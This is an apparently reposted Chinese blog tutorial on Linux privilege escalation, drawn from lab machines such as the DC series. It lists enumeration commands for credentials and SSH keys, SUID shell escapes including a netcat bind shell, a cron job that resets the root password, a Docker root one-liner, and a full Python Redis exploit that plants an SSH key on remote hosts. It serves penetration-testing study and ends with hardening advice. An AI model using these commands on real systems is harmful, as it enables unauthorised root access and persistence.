Linux提權思路


什么是權限

在Linux 系統中,ls -al 即可查看列出文件所屬的權限。這里用kali系統來演示。

……
drwxr-xr-x  2 kali kali    4096 Jan 27 12:52 Downloads
-rw-r--r--  1 root root     903 Jun 14 11:33 exp.html
-rw-r--r--  1 root root  153600 May  5 09:42 flag
lrwxrwxrwx  1 kali kali      28 May 14 08:28 flagg -> /proc/self/cwd/flag/flag.jpg
-rw-r--r--  1 kali kali     188 May 14 08:29 flagg.zip
-rw-r--r--  1 root root 1807342 Apr 20 06:52 get-pip.py
drwx------  3 kali kali    4096 Jun 18 21:35 .gnupg
-rw-r--r--  1 root root      56 Jun 16 23:29 hash.txt
-rw-r--r--  1 root root   12396 Jun 11 00:13 hydra.restore
-rw-------  1 kali kali    5202 Jun 18 21:35 .ICEauthority
-rw-r--r--  1 root root    2046 Jun 10 22:58 jim_pass.txt
……

這些都代表什么意思,我們從左往右看。

-rw-r--r--  1 root root      56 Jun 16 23:29 hash.txt

這里可以分為7個字段。

  • 第一組數據 -rw-r--r--

第一位:

- : 代表普通文件

d:代表目錄

l:代表軟鏈接

b:代表塊文件

c:代表字符設備

第二及后面幾位,分別三個為一組:

rw-r--r-- 代表文件所屬的權限

r : 文件可讀。w : 文件可修改。- : 表示暫時沒有其他權限。x : 表示可執行

  1. rw- 表示文件所擁有者的權限。

  2. r-- 表示文件所在組的用戶的權限。

  3. r-- 表示其他組的用戶的權限。

  4. 第二組數據 1

    • 如果文件類型為目錄,表示目錄下的字目錄個數

    • 如果文件類型是普通文件,這個數據就表示這個文件的硬鏈接個數

  5. 第三組數據 root 表示該文件所有者為root 用戶

  6. 第四組數據 root 表示該文件所在組為root 組

  7. 第五組數據56 表示文件的大小為多少字節。如果為一個目錄,則為4096。

  8. 第六組數據表示最后一次修改時間

  9. 第七組數據表示文件名稱

如果為目錄,r 表示可以進入該目錄進行查看。 w 表示文件可以進行增加。x 表示可以進入這個目錄

同樣的,可以用數字代替,r=4,w=2,x=1。

為什么提權

當成功通過80或者443端口通過web服務滲透時,常常是www-data 。無法執行root 權限下的命令或者讀取root 下的重要文件。這個時候就需要提權,在root 權限下,還可以通過msfvenom生成其他后門文件或者一些隱藏后門。添加用戶,開啟其他端口等操作,達到權限持續控制。

簡單的說,就是不提權就無法完成進一步滲透。

怎么樣提權

大師傅都說,滲透的本質是信息搜集。

提權也是,要進行充分的信息搜集。

提權思路:大概思路是通過信息搜集查找可利用的文件/腳本/軟件/用戶/內核漏洞/惡意劫持/特定平台漏洞/框架漏洞/組件/等,寫入或執行惡意命令/腳本/shell/添加高權限用戶,提權成功,然后進一步利用。

基礎信息搜集

內核,操作系統,設備信息

uname -a    打印所有可用的系統信息
uname -r    內核版本
uname -n    系統主機名。
uname -m    查看系統內核架構(64位/32位)
hostname    系統主機名
cat /proc/version    內核信息
cat /etc/*-release   分發信息
cat /etc/issue       分發信息
cat /proc/cpuinfo    CPU信息
cat /etc/lsb-release # Debian 
cat /etc/redhat-release # Redhat
ls /boot | grep vmlinuz-

用戶和群組

cat /etc/passwd     列出系統上的所有用戶
cat /var/mail/root
cat /var/spool/mail/root
cat /etc/group      列出系統上的所有組
grep -v -E "^#" /etc/passwd | awk -F: '$3 == 0 { print $1}'      列出所有的超級用戶賬戶
whoami              查看當前用戶
w                   誰目前已登錄,他們正在做什么
last                最后登錄用戶的列表
lastlog             所有用戶上次登錄的信息
lastlog –u %username%  有關指定用戶上次登錄的信息
lastlog |grep -v "Never"  最后用戶登錄的信息

用戶權限信息

whoami        當前用戶名
id            當前用戶信息
cat /etc/sudoers  誰被允許以root身份執行
sudo -l       當前用戶可以以root身份執行操作

環境信息

env        顯示環境變量
set        現實環境變量
echo %PATH 路徑信息
history    顯示當前用戶的歷史命令記錄
pwd        輸出工作目錄
cat /etc/profile   顯示默認系統變量
cat /etc/shells    顯示可用的shell
cat /etc/bashrc    為每一個運行bash shell的用戶執行此文件.當bash shell被打開時,該文件被讀取
cat ~/.bash_profile 每個用戶都可使用該文件輸入專用於自己使用的shell信息,當用戶登錄時,該文件僅僅執行一次!默認情況下,他設置一些環境變量,執行用戶的.bashrc文件
cat ~/.bashrc  該文件包含專用於你的bash shell的bash信息,當登錄時以及每次打開新的shell時,該該文件被讀取
cat ~/.bash_logout  當每次退出系統(退出bash shell)時,執行該文件

進程服務

ps aux
ps -ef
top
cat /etc/services

查看以root 運行的進程

ps aux | grep root
ps -ef | grep root

查看安裝的軟件

ls -alh /usr/bin/
ls -alh /sbin/
ls -alh /var/cache/yum/
dpkg -l

服務/插件

檢查有沒有不安全的服務配置,和一些有漏洞的插件。

cat /etc/syslog.conf
cat /etc/chttp.conf
cat /etc/lighttpd.conf
cat /etc/cups/cupsd.conf
cat /etc/inetd.conf
cat /etc/apache2/apache2.conf
cat /etc/my.conf
cat /etc/httpd/conf/httpd.conf
cat /opt/lampp/etc/httpd.conf
ls -aRl /etc/ | awk '$1 ~ /^.*r.*/

計划任務

crontab -l
ls -alh /var/spool/cron
ls -al /etc/ | grep cron
ls -al /etc/cron*
cat /etc/cron*
cat /etc/at.allow
cat /etc/at.deny
cat /etc/cron.allow
cat /etc/cron.deny
cat /etc/crontab
cat /etc/anacrontab
cat /var/spool/cron/crontabs/root

有無明文存放用戶密碼

grep -i user [filename]
grep -i pass [filename]
grep -C 5 "password" [filename]
find / -name "*.php" -print0 | xargs -0 grep -i -n "var $password"

Vulnhub 上的靶機就體現在,通過郵件明文傳輸密碼了,然后就可以通過ssh登陸了。進行新的信息搜集。

有無ssh私鑰

cat ~/.ssh/authorized_keys
cat ~/.ssh/identity.pub
cat ~/.ssh/identity
cat ~/.ssh/id_rsa.pub
cat ~/.ssh/id_rsa
cat ~/.ssh/id_dsa.pub
cat ~/.ssh/id_dsa
cat /etc/ssh/ssh_config
cat /etc/ssh/sshd_config
cat /etc/ssh/ssh_host_dsa_key.pub
cat /etc/ssh/ssh_host_dsa_key
cat /etc/ssh/ssh_host_rsa_key.pub
cat /etc/ssh/ssh_host_rsa_key
cat /etc/ssh/ssh_host_key.pub
cat /etc/ssh/ssh_host_key

查看與當前機器通信的其他用戶或者主機

lsof -i
lsof -i :80
grep 80 /etc/services
netstat -antup
netstat -antpx
netstat -tulpn
chkconfig --list
chkconfig --list | grep 3:on
last
w

日志文件

cat /var/log/boot.log
cat /var/log/cron
cat /var/log/syslog
cat /var/log/wtmp
cat /var/run/utmp
cat /etc/httpd/logs/access_log
cat /etc/httpd/logs/access.log
cat /etc/httpd/logs/error_log
cat /etc/httpd/logs/error.log
cat /var/log/apache2/access_log
cat /var/log/apache2/access.log
cat /var/log/apache2/error_log
cat /var/log/apache2/error.log
cat /var/log/apache/access_log
cat /var/log/apache/access.log
cat /var/log/auth.log
cat /var/log/chttp.log
cat /var/log/cups/error_log
cat /var/log/dpkg.log
cat /var/log/faillog
cat /var/log/httpd/access_log
cat /var/log/httpd/access.log
cat /var/log/httpd/error_log
cat /var/log/httpd/error.log
cat /var/log/lastlog
cat /var/log/lighttpd/access.log
cat /var/log/lighttpd/error.log
cat /var/log/lighttpd/lighttpd.access.log
cat /var/log/lighttpd/lighttpd.error.log
cat /var/log/messages
cat /var/log/secure
cat /var/log/syslog
cat /var/log/wtmp
cat /var/log/xferlog
cat /var/log/yum.log
cat /var/run/utmp
cat /var/webmin/miniserv.log
cat /var/www/logs/access_log
cat /var/www/logs/access.log
ls -alh /var/lib/dhcp3/
ls -alh /var/log/postgresql/
ls -alh /var/log/proftpd/
ls -alh /var/log/samba/

Note: auth.log, boot, btmp, daemon.log, debug, dmesg, kern.log, mail.info, mail.log, mail.warn, messages, syslog, udev, wtmp

交互式shell

python -c 'import pty;pty.spawn("/bin/bash")'
echo os.system('/bin/bash')
/bin/sh -i

可提權SUID&&GUID

參考資料https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/

find / -perm -1000 -type d 2>/dev/null   # Sticky bit - Only the owner of the directory or the owner of a file can delete or rename here.
find / -perm -g=s -type f 2>/dev/null    # SGID (chmod 2000) - run as the group, not the user who started it.
find / -perm -u=s -type f 2>/dev/null    # SUID (chmod 4000) - run as the owner, not the user who started it.

find / -perm -g=s -o -perm -u=s -type f 2>/dev/null    # SGID or SUID
for i in `locate -r "bin$"`; do find $i \( -perm -4000 -o -perm -2000 \) -type f 2>/dev/null; done    # Looks in 'common' places: /bin, /sbin, /usr/bin, /usr/sbin, /usr/local/bin, /usr/local/sbin and any other *bin, for SGID or SUID (Quicker search)

# find starting at root (/), SGID or SUID, not Symbolic links, only 3 folders deep, list with more detail and hide any errors (e.g. permission denied)
find / -perm -g=s -o -perm -4000 ! -type l -maxdepth 3 -exec ls -ld {} \; 2>/dev/null

查看可寫/執行目錄

find / -writable -type d 2>/dev/null      # world-writeable folders
find / -perm -222 -type d 2>/dev/null     # world-writeable folders
find / -perm -o w -type d 2>/dev/null     # world-writeable folders
find / -perm -o x -type d 2>/dev/null     # world-executable folders
find / \( -perm -o w -perm -o x \) -type d 2>/dev/null   # world-writeable & executable folders

查看安裝過的工具

find / -name perl*
find / -name python*
find / -name gcc*
...

提權操作

SUID提權

什么是suid?suid全稱是Set owner User ID up on execution。這是Linux給可執行文件的一個屬性。通俗的理解為其他用戶執行這個程序的時候可以用該程序所有者/組的權限。需要注意的是,只有程序的所有者是0號或其他super user,同時擁有suid權限,才可以提權。

這里推薦 P師傅的 https://www.leavesongs.com/PENETRATION/linux-suid-privilege-escalation.html

常見的可用來提權的Linux 可執行文件有:

Nmap, Vim, find, bash, more, less, nano, cp

查看可以suid 提權的可執行文件

find / -perm -u=s -type f 2>/dev/null
  • find

image-20201002111226236

ls -al /usr/bin/find
-rwsr-xr-x 1 root root 162424 Jan  6  2012 /usr/bin/find

實用程序find用來在系統中查找文件。同時,它也有執行命令的能力。 因此,如果配置為使用SUID權限運行,則可以通過find執行的命令都將以root身份去運行。

比如:DC -1 靶機就是利用find 命令進行root 用戶來執行命令

image-20201002111506644

大部分Linux 系統都安裝了nc。使用find aaa -exec netcat -lvp 5555 -e /bin/sh \; 即可成功反彈root shell

  • nmap

早期nmap 具有交互模式,version 2.02~5.21(5.2.0)。這里我用metasploitable2 來演示

namp -V 查看nmap版本信息

nmap --interactive

image-20201002112022297

我最喜歡的Metasploit 中就有利用 SUID nmap 提權的exp

search nmap 然后利用 exploit/unix/local/setuid_nmap 漏洞利用模塊即可

5.2.0 之后,nmap 還可以通過執行腳本來提權。

# nse 腳本,shell.nse
os.execute('/bin/sh')
# nmap 提權
nmap --script=shell.nse 
# 在某些發行版的Linux 可能會提權失敗。具體原理移步p師傅文章

或者

echo 'os.execute("/bin/sh")' > getshell
sudo nmap --script=getshell

參考DC 6 靶機:https://hack-for.fun/posts/8886.html#%E6%8F%90%E6%9D%83

  • vim

如果vim 是通過SUID運行,就會繼承root用戶的權限。可讀取只有root能讀取的文件。

vim /etc/shadow

vim 運行shell

vim
:set shell=/bin/sh
:shell

同理,滿足條件的 less 和 more 都可。

利用內核漏洞

比如DC 3 靶機,就是利用系統內核漏洞來進行提權。

image-20201002112326974

searchsploit Ubuntu 16.04

將exp 下載下來,解壓,編譯,運行,即可get root 權限。

tar xvf exploit.tar

https://www.exploit-db.com/exploits/39772

還有大名鼎鼎的CVE-2016-5195,臟牛漏洞。(Linux kernel >=2.6.22 並且Android也受影響

其他內核漏洞:

Linux Kernel 3.13.0 < 3.19 (Ubuntu 12.04/14.04/14.10/15.04) – 'overlayfs' Local Root Shell

https://www.exploit-db.com/exploits/37292/

Linux Kernel 4.3.3 (Ubuntu 14.04/15.10) – ‘overlayfs’ Local Root Exploit

https://www.exploit-db.com/exploits/39166/

Linux Kernel 4.3.3 – 'overlayfs' Local Privilege Escalation

https://www.exploit-db.com/exploits/39230/

提示:內核exploit提權有風險,有可能會崩潰系統。

利用root無密碼執行

簡單來說,就是一個腳本,比如py,sh等或者是一個命令。這個文件可以以root身份運行,若在無密碼的情況下執行的話,我們可以通過修改腳本內容/或者直接執行這個命令,利用命令來進行一些操作,來進行提權。

比如常見的:

  • 寫入一個root身份權限的用戶進入/etc/passwd 文件中

這里以DC 4 為例子:

image-20201002112627777

teehee -a 將輸入的內容追加到另一個文件中

簡單說下/etc/passwd 各個字段的含義:

username:password:User ID:Group ID:comment:home directory:shell

image-20201002112702162

成功獲取到root 權限。類似的操作還有很多,核心思想不變。

利用環境變量提權

PATH 是Linux 和 Unix 操作系統中的環境變量,它指定存儲可執行程序的所有bin和sbin目錄。當用戶在終端上執行任何命令時,它會通過PATH變量來響應用戶執行的命令,並向shell發送請求以搜索可執行文件。超級用戶通常還具有/sbin和/usr/sbin條目,以便於系統管理命令的執行。

使用echo命令顯示當前PATH環境變量:

image-20201002113234588

如果你在PATH變量中看到.,則意味着登錄用戶可以從當前目錄執行二進制文件/腳本

我們先編譯一個可執行文件shell。

#include<unistd.h>
void main()
{
  setuid(0);
  setgid(0);
  system("cat /etc/passwd");
}
// aaa.c

image-20201002113350699

在給該文件賦予權限。

然后查看它的權限可以發現是有s 位,即suid

現在我們在目標機器上用find / -perm -u=s -type f 2>/dev/null 來查看可以suid提權的文件,發現之前編譯的shell可執行文件在里面。

image-20201002113433468

更多的操作可以參考:https://xz.aliyun.com/t/2767

利用存在漏洞的命令

不可否認的是命令很多,我們不可能熟悉每一種命令的漏洞。不過我們每次遇到了都可以用searchsploit 來尋找可利用的exp。

這里以DC 5 靶機為例:

ls -al

image-20201002113539558

image-20201002113557129

可以通過cat 讀取一下這個文件怎么用。

攻擊機器開啟一個http服務:

python -m SimpleHTTPServer

將exploit 用 wget下載到可執行的/tmp/目錄下。然后執行sh 文件。最后在/etc/目錄下執行./rootshell 即可get root shell。

image-20201002113739282

還有之前爆的sudo 提權,CVE-2019-14187。只不過比較雞肋。

Sudo 的全稱是“superuserdo”,它是Linux系統管理指令,允許用戶在不需要切換環境的前提下以其它用戶的權限運行應用程序或命令。通常以 root 用戶身份運行命令,是為了減少 root 用戶的登錄和管理時間,同時提高安全性。

利用前提

  1. sudo -v < 1.8.28
  2. 知道當前用戶的密碼
  3. 當前用戶存在於sudo權限列表

復現參考:https://www.cnblogs.com/ethtool/p/12176730.html

還可通過誘導錯誤的命令來實現更改root密碼,參考:http://uuzdaisuki.com/2020/02/12/linux常見提權方式總結/

crontab定時任務提權

crontab是cron table的簡寫,它是cron的配置文件,而cron是linux內置管理定時任務的進程。

我們可以通過如下指令來編輯和查看當前工作表命令

crontab [-u username]    //省略用戶表表示操作當前用戶的crontab
    -e      (編輯工作表)
    -l      (列出工作表里的命令)
    -r      (刪除工作表)

更多的crontab操作可以參考教程 https://www.runoob.com/w3cnote/linux-crontab-tasks.html

root權限定時任務腳本普通用戶可寫

以root權限執行的定時任務或其所在文件夾,低權限用戶擁有寫權限,則可進行提權。

示例:

切換到root用戶,輸入crontab -e,添加一個一分鍾執行一次的shell腳本,然后賦予此腳本執行權限和其他用戶可寫權限。

*/1 * * * * /home/test/cron.sh

開啟其他shell,切換到普通用戶,修改腳本內容為重置root密碼,或者添加此普通用戶權限等操作。

echo "root:password" | chpasswd

然后su root使用更改后密碼切換至root

如果文件不可寫而文件夾可寫的情況,如下圖情況,可以刪除到整個路徑,然后重新由普通用戶創建路徑和其中腳本,就變成可寫的情況了。

image-20201002140851435

root權限定時任務調用的腳本普通用戶可寫

很多時候,定時任務並不是孤立存在的,它會去調用很多別的shell腳本來完成一些操作,而root權限的定時任務調用的腳本也會以root權限執行,所以我們仍需要關注其調用的其他腳本是否普通用戶可寫,如果可寫,仍然可以提權。

查詢此類腳本的方法是首先找到root的定時任務 xxx.sh,然后在文件種查找其他shell腳本即可

grep "*.sh" xxx.sh

利用第三方服務提權

Docker組提權

參考文章:https://blog.csdn.net/qq_41918771/article/details/103666135

docker 組內用戶執行命令的時候會自動在所有命令前添加 sudo。因為設計或者其他的原因,Docker 給予所有 docker 組的用戶相當大的權力(雖然權力只體現在能訪問 /var/run/docker.sock 上面)。默認情況下,Docker 軟件包是會默認添加一個 docker 用戶組的。Docker 守護進程會允許 root 用戶和 docker
組用戶訪問 Docker。給用戶提供 Docker 權限和給用戶無需認證便可以隨便獲取的 root 權限差別不大。

普通用戶執行:即可獲得root權限。

docker run -v /:/hostOS -i -t chrisfosterelli/rootplease

image-20201002114442931

MySQL UDF提權

之前在做JarivsOJ CTF 里有一個題,里面就用了UDF,那是我第一次遇到這個東西。

show variables like '%compile%';
show variables like 'plugin%';

不過這里有一個限制,show global variables like 'secure%' secure_file_priv 沒有具體的值(即能夠導出/寫入文件

當 secure_file_priv 的值為 NULL ,表示限制 mysqld 不允許導入|導出,此時無法提權
當 secure_file_priv 的值為 /tmp/ ,表示限制 mysqld 的導入|導出只能發生在 /tmp/ 目錄下,此時也無法提權
當 secure_file_priv 的值沒有具體值時,表示不對 mysqld 的導入|導出做限制,此時可提權

MSF 中的 exploit/multi/mysql/mysql_udf_payload 漏洞利用模塊可以進行UDF提權

使用 select sys_exec('whoami');select sys_eval('whoami'); 來執行系統命令

Redis批量getshell

如果Redis以root身份運行,黑客可以利用Redis寫入SSH公鑰文件,直接通過SSH免密碼登錄受害服務器。Redis 默認綁定在6379端口,並且沒有開啟認證,在沒有任何訪問策略的情況下,任何人可以直接在非授權情況下直接訪問Redis服務並進行相關操作。

相關利用exp:https://github.com/Xyntax/POC-T/blob/9d538a217cb480dbd1f94f1fa6c8154a41b5b106/script/redis-sshkey-getshell.py

#!/usr/bin/env python
# -*- coding: utf-8 -*-
# project = https://github.com/Xyntax/POC-T
# author = i@cdxy.me

"""
redis getshell expliot (ssh authorized_keys)
"""

import redis
import paramiko
from plugin.util import host2IP
from plugin.util import randomString
from plugin.util import checkPortTcp
from paramiko.ssh_exception import SSHException

public_key = 'ssh-rsa ====='

private_key = """
-----BEGIN RSA PRIVATE KEY-----
=====
-----END RSA PRIVATE KEY-----
"""

import time


def poc(url):
    url = host2IP(url)
    ip = url.split(':')[0]
    port = int(url.split(':')[-1]) if ':' in url else 6379
    try:
        if not checkPortTcp(ip, 22):
            return False
        r = redis.Redis(host=ip, port=port, db=0)
        if 'redis_version' in r.info():
            key = randomString(10)
            r.set(key, '\n\n' + public_key + '\n\n')
            r.config_set('dir', '/root/.ssh')
            r.config_set('dbfilename', 'authorized_keys')
            r.save()
            r.delete(key)  # 清除痕跡
            r.config_set('dir', '/tmp')
            time.sleep(5)
            if testConnect(ip, 22):
                return True
    except Exception:
        return False
    return False


def testConnect(ip, port=22):
    try:
        s = paramiko.SSHClient()
        s.load_system_host_keys()
        s.connect(ip, port, username='root', pkey=private_key, timeout=10)
        s.close()
        return True
    except Exception, e:
        if type(e) == SSHException:
            return True
        return False

其他……

一般情況下,內核漏洞或者第三方服務來提權的情況更多。

如何防止被提權

  • 系統管理員要安全,准確的配置SUID執行文件。
  • 一些沒必要以高權限用戶執行的文件,應該取消權限。
  • 規避使用無密碼root 執行命令,腳本等。
  • 修復/升級存在已知漏洞的組件,升級操作系統版本最新版。
  • Linux 2.2 之后可以為命令增加 capabilities, 以p 師傅博客里的給nmap增加該屬性為例。
  • 升級第三方服務,修復已知漏洞
sudo setcap cap_net_raw,cap_net_admin,cap_net_bind_service+eip /usr/bin/nmap
nmap --privileged -sS 192.168.1.1

https://man7.org/linux/man-pages/man7/capabilities.7.html

總結

通過本次學習,腦海里有了一個大概的思路,以后遇到了也不會迷惘。但是我旁邊師傅給我說,靶機的提權有些在實際中根本用不到。所以,還是要靈活處理,核心思路應該是不變的吧!

相關資料

參考


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM